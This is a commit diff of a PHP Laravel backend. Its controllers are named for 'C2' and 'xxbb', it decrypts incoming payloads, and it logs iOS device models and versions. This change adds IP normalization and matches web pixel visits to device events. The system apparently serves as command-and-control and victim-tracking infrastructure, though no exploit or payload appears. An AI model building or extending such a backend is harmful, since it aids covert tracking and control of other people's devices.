feat: xxbb
This commit is contained in:
@@ -8,37 +8,31 @@ use Illuminate\Support\Facades\File;
|
||||
|
||||
class RawLogController extends Controller
|
||||
{
|
||||
/** @var list<string> */
|
||||
private const KINDS = ['c2', 'xxbb'];
|
||||
|
||||
public function index(Request $request)
|
||||
{
|
||||
$dir = public_path('log/c2');
|
||||
$files = [];
|
||||
if (is_dir($dir)) {
|
||||
foreach (File::files($dir) as $file) {
|
||||
if ($file->getExtension() !== 'log') {
|
||||
continue;
|
||||
}
|
||||
$files[] = [
|
||||
'name' => $file->getFilename(),
|
||||
'size' => $file->getSize(),
|
||||
'mtime' => date('Y-m-d H:i:s', $file->getMTime()),
|
||||
];
|
||||
}
|
||||
usort($files, fn ($a, $b) => strcmp($b['name'], $a['name']));
|
||||
}
|
||||
|
||||
$kind = $this->kind($request);
|
||||
$path = trim((string) $request->query('path', ''));
|
||||
$device = trim((string) $request->query('device', ''));
|
||||
|
||||
return view('admin.logs.index', compact('files', 'path', 'device'));
|
||||
$groups = [];
|
||||
foreach (self::KINDS as $k) {
|
||||
$groups[$k] = $this->listFiles($k);
|
||||
}
|
||||
|
||||
return view('admin.logs.index', compact('groups', 'kind', 'path', 'device'));
|
||||
}
|
||||
|
||||
public function show(Request $request, string $file)
|
||||
{
|
||||
$kind = $this->kind($request);
|
||||
$safe = basename($file);
|
||||
if (! preg_match('/^\d{8}\.log$/', $safe)) {
|
||||
abort(404);
|
||||
}
|
||||
$full = public_path('log/c2/'.$safe);
|
||||
$full = public_path('log/'.$kind.'/'.$safe);
|
||||
abort_unless(is_file($full), 404);
|
||||
|
||||
$path = trim((string) $request->query('path', ''));
|
||||
@@ -62,10 +56,43 @@ class RawLogController extends Controller
|
||||
$entries = array_reverse($entries);
|
||||
|
||||
return view('admin.logs.show', [
|
||||
'kind' => $kind,
|
||||
'file' => $safe,
|
||||
'entries' => $entries,
|
||||
'path' => $path,
|
||||
'device' => $device,
|
||||
]);
|
||||
}
|
||||
|
||||
private function kind(Request $request): string
|
||||
{
|
||||
$kind = (string) $request->query('kind', 'c2');
|
||||
|
||||
return in_array($kind, self::KINDS, true) ? $kind : 'c2';
|
||||
}
|
||||
|
||||
/**
|
||||
* @return list<array{name: string, size: int, mtime: string}>
|
||||
*/
|
||||
private function listFiles(string $kind): array
|
||||
{
|
||||
$dir = public_path('log/'.$kind);
|
||||
$files = [];
|
||||
if (! is_dir($dir)) {
|
||||
return $files;
|
||||
}
|
||||
foreach (File::files($dir) as $file) {
|
||||
if ($file->getExtension() !== 'log') {
|
||||
continue;
|
||||
}
|
||||
$files[] = [
|
||||
'name' => $file->getFilename(),
|
||||
'size' => $file->getSize(),
|
||||
'mtime' => date('Y-m-d H:i:s', $file->getMTime()),
|
||||
];
|
||||
}
|
||||
usort($files, fn ($a, $b) => strcmp($b['name'], $a['name']));
|
||||
|
||||
return $files;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -57,7 +57,7 @@ class XxbbC2Controller extends Controller
|
||||
);
|
||||
|
||||
$domain = PageVisit::normalizeDomain($domain);
|
||||
$ip = (string) $request->ip();
|
||||
$ip = PageVisit::normalizeIp((string) $request->ip());
|
||||
$uid = PageVisit::visitorUid($domain, $ip);
|
||||
|
||||
if ($channelCode !== '' && strlen($channelCode) <= 64 && $this->shouldRecordIptj($channelCode, $uid, $sessionId)) {
|
||||
@@ -218,7 +218,7 @@ class XxbbC2Controller extends Controller
|
||||
'ts' => $request->input('ts'),
|
||||
'x-hit' => $xHitRaw,
|
||||
],
|
||||
], 'c2');
|
||||
], 'xxbb');
|
||||
}
|
||||
|
||||
return $this->xxbbAck($request);
|
||||
|
||||
@@ -30,7 +30,7 @@ class PageHitController extends Controller
|
||||
return $this->pixel();
|
||||
}
|
||||
|
||||
$ip = (string) $request->ip();
|
||||
$ip = PageVisit::normalizeIp((string) $request->ip());
|
||||
$domain = PageVisit::normalizeDomain($request->getHost());
|
||||
$uid = PageVisit::visitorUid($domain ?? $request->getHost(), $ip);
|
||||
|
||||
|
||||
@@ -92,7 +92,7 @@ class DecryptXxbbBody
|
||||
'payload' => is_array($payload) || $payload === null ? $payload : ['value' => $payload],
|
||||
'decrypt_ok' => $decryptOk,
|
||||
'error' => $error,
|
||||
], 'c2');
|
||||
], 'xxbb');
|
||||
|
||||
$request->attributes->set('coruna_payload', $payload);
|
||||
$request->attributes->set('coruna_decrypt_ok', $decryptOk);
|
||||
|
||||
@@ -54,8 +54,51 @@ class PageVisit extends Model
|
||||
public static function visitorUid(?string $domain, ?string $ip): string
|
||||
{
|
||||
$domainKey = self::normalizeDomain($domain) ?? strtolower(trim((string) $domain));
|
||||
$ipKey = trim((string) $ip);
|
||||
$ipKey = self::normalizeIp($ip);
|
||||
|
||||
return substr(hash('sha256', $domainKey."\0".$ipKey), 0, self::VISITOR_UID_LENGTH);
|
||||
}
|
||||
|
||||
/**
|
||||
* Unwrap IPv4-mapped IPv6 (`::ffff:1.2.3.4` → `1.2.3.4`) and canonicalize.
|
||||
*/
|
||||
public static function normalizeIp(?string $ip): string
|
||||
{
|
||||
$ip = strtolower(trim((string) $ip));
|
||||
if ($ip === '') {
|
||||
return '';
|
||||
}
|
||||
if (str_starts_with($ip, '::ffff:')) {
|
||||
$mapped = substr($ip, 7);
|
||||
if (filter_var($mapped, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4)) {
|
||||
return $mapped;
|
||||
}
|
||||
}
|
||||
$packed = filter_var($ip, FILTER_VALIDATE_IP) ? inet_pton($ip) : false;
|
||||
if ($packed !== false) {
|
||||
$canon = inet_ntop($packed);
|
||||
if (is_string($canon) && $canon !== '') {
|
||||
return strtolower($canon);
|
||||
}
|
||||
}
|
||||
|
||||
return $ip;
|
||||
}
|
||||
|
||||
/**
|
||||
* @return list<string>
|
||||
*/
|
||||
public static function ipLookupKeys(?string $ip): array
|
||||
{
|
||||
$norm = self::normalizeIp($ip);
|
||||
if ($norm === '') {
|
||||
return [];
|
||||
}
|
||||
$keys = [$norm];
|
||||
if (filter_var($norm, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4)) {
|
||||
$keys[] = '::ffff:'.$norm;
|
||||
}
|
||||
|
||||
return array_values(array_unique($keys));
|
||||
}
|
||||
}
|
||||
|
||||
@@ -274,26 +274,34 @@ class IngestService
|
||||
}
|
||||
|
||||
/**
|
||||
* Latest iptj/pixel visit from this IP in the last N minutes whose
|
||||
* channel_id is a new-builder channel, and no device from this IP has
|
||||
* already claimed that channel.
|
||||
* Latest iptj/pixel visit in the last N minutes whose channel_id is a
|
||||
* new-builder channel, and no device from this client IP has already
|
||||
* claimed that channel. Same IPv4 / IPv4-mapped IPv6 is preferred;
|
||||
* otherwise a recent visit still matches across address families
|
||||
* (Safari iptj is often v4, native /event often v6).
|
||||
*
|
||||
* @return array{channel_id: ?string, source_domain: ?string}
|
||||
*/
|
||||
private function matchNewBuilderVisit(?string $ip): array
|
||||
{
|
||||
$ip = is_string($ip) ? trim($ip) : '';
|
||||
$ip = PageVisit::normalizeIp($ip);
|
||||
if ($ip === '') {
|
||||
return ['channel_id' => null, 'source_domain' => null];
|
||||
}
|
||||
$minutes = max(1, (int) config('coruna.xxbb.visit_match_minutes', 30));
|
||||
$visits = PageVisit::query()
|
||||
->where('ip', $ip)
|
||||
->where('created_at', '>=', now()->subMinutes($minutes))
|
||||
->orderByDesc('id')
|
||||
->get();
|
||||
if ($visits->isEmpty()) {
|
||||
return ['channel_id' => null, 'source_domain' => null];
|
||||
}
|
||||
|
||||
foreach ($visits as $visit) {
|
||||
$ipKeys = PageVisit::ipLookupKeys($ip);
|
||||
$sameIp = $visits->filter(
|
||||
static fn (PageVisit $visit) => in_array(PageVisit::normalizeIp($visit->ip), $ipKeys, true)
|
||||
);
|
||||
foreach ($sameIp->concat($visits->diff($sameIp)) as $visit) {
|
||||
$code = Channel::normalizeNewChannelId((string) ($visit->channel_id ?? ''));
|
||||
if ($code === null) {
|
||||
continue;
|
||||
@@ -306,8 +314,8 @@ class IngestService
|
||||
continue;
|
||||
}
|
||||
$claimed = Device::query()
|
||||
->where('ip', $ip)
|
||||
->where('channel_id', $code)
|
||||
->whereIn('ip', $ipKeys)
|
||||
->exists();
|
||||
if ($claimed) {
|
||||
continue;
|
||||
@@ -331,7 +339,7 @@ class IngestService
|
||||
$attr = $this->resolveChannelAttribution($request, $payload, $allowOldC);
|
||||
$attrs = [
|
||||
'device_id' => $deviceKey,
|
||||
'ip' => $request->ip(),
|
||||
'ip' => PageVisit::normalizeIp((string) $request->ip()) ?: $request->ip(),
|
||||
'device_model' => $this->extractDeviceModel($payload),
|
||||
'ios_version' => $this->extractIosVersion($payload),
|
||||
'channel_id' => $attr['channel_id'],
|
||||
|
||||
Reference in New Issue
Block a user